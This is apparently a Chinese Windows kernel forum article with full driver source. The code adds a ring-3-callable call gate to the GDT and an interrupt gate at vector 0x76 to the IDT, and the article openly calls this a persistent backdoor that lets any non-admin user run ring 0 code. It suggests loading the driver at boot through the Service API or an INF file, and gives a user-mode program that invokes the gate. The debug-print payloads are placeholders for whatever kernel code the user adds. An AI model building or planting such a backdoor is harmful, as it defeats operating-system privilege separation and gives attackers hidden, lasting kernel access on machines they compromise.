众所周知在非 Admin 用户模式下,是不允许加载驱动执行 RING 0 代码的。
本文提供了一种方法,通过修改系统 GDT,IDT 来添加自己的 CALLGATE 和
INTGATE 这样便在系统中设置了一个后门。我们就可以利用这个后门
在任意用户模式下执行 ring 0 代码了。为了保证我们添加的 CALLGATE 和 INT
GATE 永久性。可以在第一次安装时利用 SERVICE API 或 INF 文件设置成随
系统启动。不过此方法也有个缺陷,就是在第一次安装 CALLGATE 或 INTGATE
时仍然需要 ADMIN 权限。下面分别给出了添加 CALLGATE 与 INTGATE 的具体
代码。
一、通过添加调用门实现
为了可以让任意用户来调用我们的 CALLGATE 需要解决一个小问题。因为
需要知道 CALLGATE 的 SELECTOR 后才可以调用。而在 RING 3 下除了能
得到 GDT 的 BASE ADDRESS 和 LIMIT 外是无法访问 GDT 内容的。我本想
在 RING 0 把 SELECTOR 保存到文件里。在 RING 3 下读取出来再调用。
后经过跟 wowocock 探讨。他提出的思路是在 RING 0 下通过
ZwQuerySystemInformation 得到 NTDLL.DLL 的 MODULE BASE 然后根据
PE HEADER 中的空闲处存放 SELECTOR。这样在 RING 3 的任意用户模式下
就很容易得到了。在这里要特别感谢 wowocock。下面的代码为了演示
方便,用了在我机器上 GDT 中第一个空闲描述符的 SELECTOR 。
驱动程序:
/***************************************************************** 文件名 : WssAddCallGate.c 描述 : 添加调用门 作者 : sinister *****************************************************************/ #include "ntddk.h" #include "string.h" #ifndef DWORD #define DWORD unsigned int #endif #ifndef WORD #define WORD unsigned short #endif #define LOWORD(l) ((unsigned short)(unsigned int)(l)) #define HIWORD(l) ((unsigned short)((((unsigned int)(l)) >> 16) & 0xFFFF)) typedef unsigned long ULONG; static NTSTATUS MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp); VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject); #pragma pack(push,1) typedef struct tagGDTR{ WORD wLimit; DWORD *dwBase; }GDTR, *PGDTR; typedef struct tagGDT_DESCRIPTOR{ unsigned limit : 16; unsigned baselo : 16; unsigned basemid : 8; unsigned type : 4; unsigned system : 1; unsigned dpl : 2; unsigned present : 1; unsigned limithi : 4; unsigned available : 1; unsigned zero : 1; unsigned size : 1; unsigned granularity : 1; unsigned basehi : 8; }GDT_DESCRIPTOR, *PGDT_DESCRIPTOR; typedef struct tagCALLGATE_DESCRIPTOR{ unsigned short offset_0_15; unsigned short selector; unsigned char param_count : 4; unsigned char some_bits : 4; unsigned char type : 4; unsigned char app_system : 1; unsigned char dpl : 2; unsigned char present : 1; unsigned short offset_16_31; } CALLGATE_DESCRIPTOR, *PCALLGATE_DESCRIPTOR; #pragma pack(pop) void __declspec(naked) Ring0Call() { PHYSICAL_ADDRESS PhyAdd; __asm { pushad pushfd cli } DbgPrint("WSS - My CallGate /n"); // // 这里可以添加你想要执行的 ring 0 代码。 // __asm { popfd popad retf } } VOID AddCallGate( ULONG FuncAddr ) { GDTR gdtr; PGDT_DESCRIPTOR gdt; PCALLGATE_DESCRIPTOR callgate; WORD wGDTIndex = 1; __asm { sgdt gdtr // 得到 GDT 基地址与界限 } gdt = (PGDT_DESCRIPTOR) ( gdtr.dwBase + 8 ); // 跳过空选择子 while ( wGDTIndex < ( gdtr.wLimit / 8 ) ) { if ( gdt->present == 0 ) //从 GDT 中找到空描述符 { callgate = (PCALLGATE_DESCRIPTOR)gdt; callgate->offset_0_15 = LOWORD(FuncAddr); callgate->selector = 8; // 内核段选择子 callgate->param_count = 0; // 参数复制数量 callgate->some_bits = 0; callgate->type = 0xC; // 386调用门 callgate->app_system = 0; // 系统描述符 callgate->dpl = 3; // RING 3 可调用 callgate->present = 1; // 设置存在位 callgate->offset_16_31 = HIWORD(FuncAddr); DbgPrint("Add CallGate/n"); return; } gdt ++; wGDTIndex ++; } } // 驱动入口 NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath ) { UNICODE_STRING nameString, linkString; PDEVICE_OBJECT deviceObject; NTSTATUS status; HANDLE hHandle; int i; //卸载驱动 DriverObject->DriverUnload = DriverUnload; //建立设备 RtlInitUnicodeString( &nameString, L"//Device//WssAddCallGate" ); status = IoCreateDevice( DriverObject, 0, &nameString, FILE_DEVICE_UNKNOWN, 0, TRUE, &deviceObject ); if (!NT_SUCCESS( status )) return status; RtlInitUnicodeString( &linkString, L"//DosDevices//WssAddCallGate" ); status = IoCreateSymbolicLink (&linkString, &nameString); if (!NT_SUCCESS( status )) { IoDeleteDevice (DriverObject->DeviceObject); return status; } AddCallGate((ULONG)Ring0Call); for ( i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) { DriverObject->MajorFunction[i] = MydrvDispatch; } DriverObject->DriverUnload = DriverUnload; return STATUS_SUCCESS; } //处理设备对象操作 static NTSTATUS MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) { Irp->IoStatus.Status = STATUS_SUCCESS; Irp->IoStatus.Information = 0L; IoCompleteRequest( Irp, 0 ); return Irp->IoStatus.Status; } VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject) { UNICODE_STRING nameString; RtlInitUnicodeString( &nameString, L"//DosDevices//WssAddCallGate" ); IoDeleteSymbolicLink(&nameString); IoDeleteDevice(pDriverObject->DeviceObject); return; } 应用程序: #include <windows.h> #include <stdio.h> void main() { WORD farcall[3]; farcall[0] = 0x0; farcall[1] = 0x0; farcall[2] = 0x4b; //在我机器上,添加 CALLGATE 的选择子为 4BH _asm call fword ptr [farcall] }
二、通过添加中断门实现
添加中断门没有什么需要解决的问题。直接在 RING 3 利用 int x
即可切换。想想系统调用 INT 2E 就很容易理解了。
/***************************************************************** 文件名 : WssMyInt.c 描述 : 添加中断门 作者 : sinister *****************************************************************/ #include "ntddk.h" #pragma pack(1) typedef struct tagIDTR { short Limit; unsigned int Base; }IDTR, *PIDTR; typedef struct tagIDTENTRY { unsigned short OffsetLow; unsigned short Selector; unsigned char Reserved; unsigned char Type:4; unsigned char Always0:1; unsigned char Dpl:2; unsigned char Present:1; unsigned short OffsetHigh; } IDTENTRY, *PIDTENTRY; #pragma pack() #define MYINT 0x76 extern VOID _cdecl MyIntFunc(); CHAR IDTBuffer[6]; IDTENTRY OldIdt; PIDTR idtr = (PIDTR)IDTBuffer; static NTSTATUS MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp); VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject); // 我们得中断处理函数 VOID _cdecl MyIntFunc() { PHYSICAL_ADDRESS PhyAdd; unsigned int dwCallNum; unsigned int dwVAddr; _asm mov dwCallNum,eax // // 这里可以添加你想要执行的 ring 0 代码 // switch ( dwCallNum ) { case 0x01: DbgPrint("MyIntGate eax = 0x01/n"); break; case 0x02: DbgPrint("MyIntGate eax = 0x02/n"); break; default:break; } _asm iretd; //中断返回 } NTSTATUS AddMyInt() { PIDTENTRY Idt; //得到 IDTR 中得段界限与基地址 _asm sidt IDTBuffer Idt = (PIDTENTRY)idtr->Base; //得到IDT表基地址 //保存原有得 IDT RtlCopyMemory(&OldIdt, &Idt[MYINT], sizeof(OldIdt)); //禁止中断 _asm cli //设置 IDT 表各项添加我们得中断 Idt[MYINT].OffsetLow = (unsigned short)MyIntFunc; //取中断处理函数低16位 Idt[MYINT].Selector = 8; //设置内核段选择子 Idt[MYINT].Reserved = 0; //系统保留 Idt[MYINT].Type = 0xE; //设置0xE表示是中断门 Idt[MYINT].Always0 = 0; //系统保留必须为0 Idt[MYINT].Dpl = 3; //描述符权限,设置为允许 RING 3 进程调用 Idt[MYINT].Present = 1; //存在位设置为1表示有效 Idt[MYINT].OffsetHigh = (unsigned short)((unsigned int)MyIntFunc>>16); //取中断处理函数高16位 //开中断 _asm sti return STATUS_SUCCESS; } //删除中断 void RemoveMyInt() { PIDTENTRY Idt; Idt = (PIDTENTRY)idtr->Base; _asm cli //恢复 IDT RtlCopyMemory(&Idt[MYINT], &OldIdt, sizeof(OldIdt)); _asm sti } // 驱动入口 NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath ) { UNICODE_STRING nameString, linkString; //UNICODE_STRING deviceString; PDEVICE_OBJECT deviceObject; NTSTATUS status; WCHAR wBuffer[200]; nameString.Buffer = wBuffer; nameString.MaximumLength = 200; //卸载驱动 DriverObject->DriverUnload = DriverUnload; //建立设备 RtlInitUnicodeString( &nameString, L"//Device//WSSINT" ); status = IoCreateDevice( DriverObject, 0, &nameString, FILE_DEVICE_UNKNOWN, 0, TRUE, &deviceObject ); if (!NT_SUCCESS( status )) return status; RtlInitUnicodeString( &linkString, L"//??//WSSINT" ); //使WIN32应用程序可见 status = IoCreateSymbolicLink (&linkString, &nameString); if (!NT_SUCCESS( status )) { IoDeleteDevice (DriverObject->DeviceObject); return status; } AddMyInt(); DriverObject->MajorFunction[IRP_MJ_CREATE] = MydrvDispatch; DriverObject->MajorFunction[IRP_MJ_CLOSE] = MydrvDispatch; return STATUS_SUCCESS; } static NTSTATUS MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) { NTSTATUS status; UNREFERENCED_PARAMETER( DeviceObject ); Irp->IoStatus.Status = STATUS_SUCCESS; Irp->IoStatus.Information = 0L; status = STATUS_SUCCESS; IoCompleteRequest( Irp, 0 ); return status; } VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject) { UNICODE_STRING nameString; UNICODE_STRING deviceString,driveString; NTSTATUS ntStatus; RemoveMyInt(); //删除WIN32可见 IoDeleteSymbolicLink(&nameString); //删除设备 IoDeleteDevice(pDriverObject->DeviceObject); return; }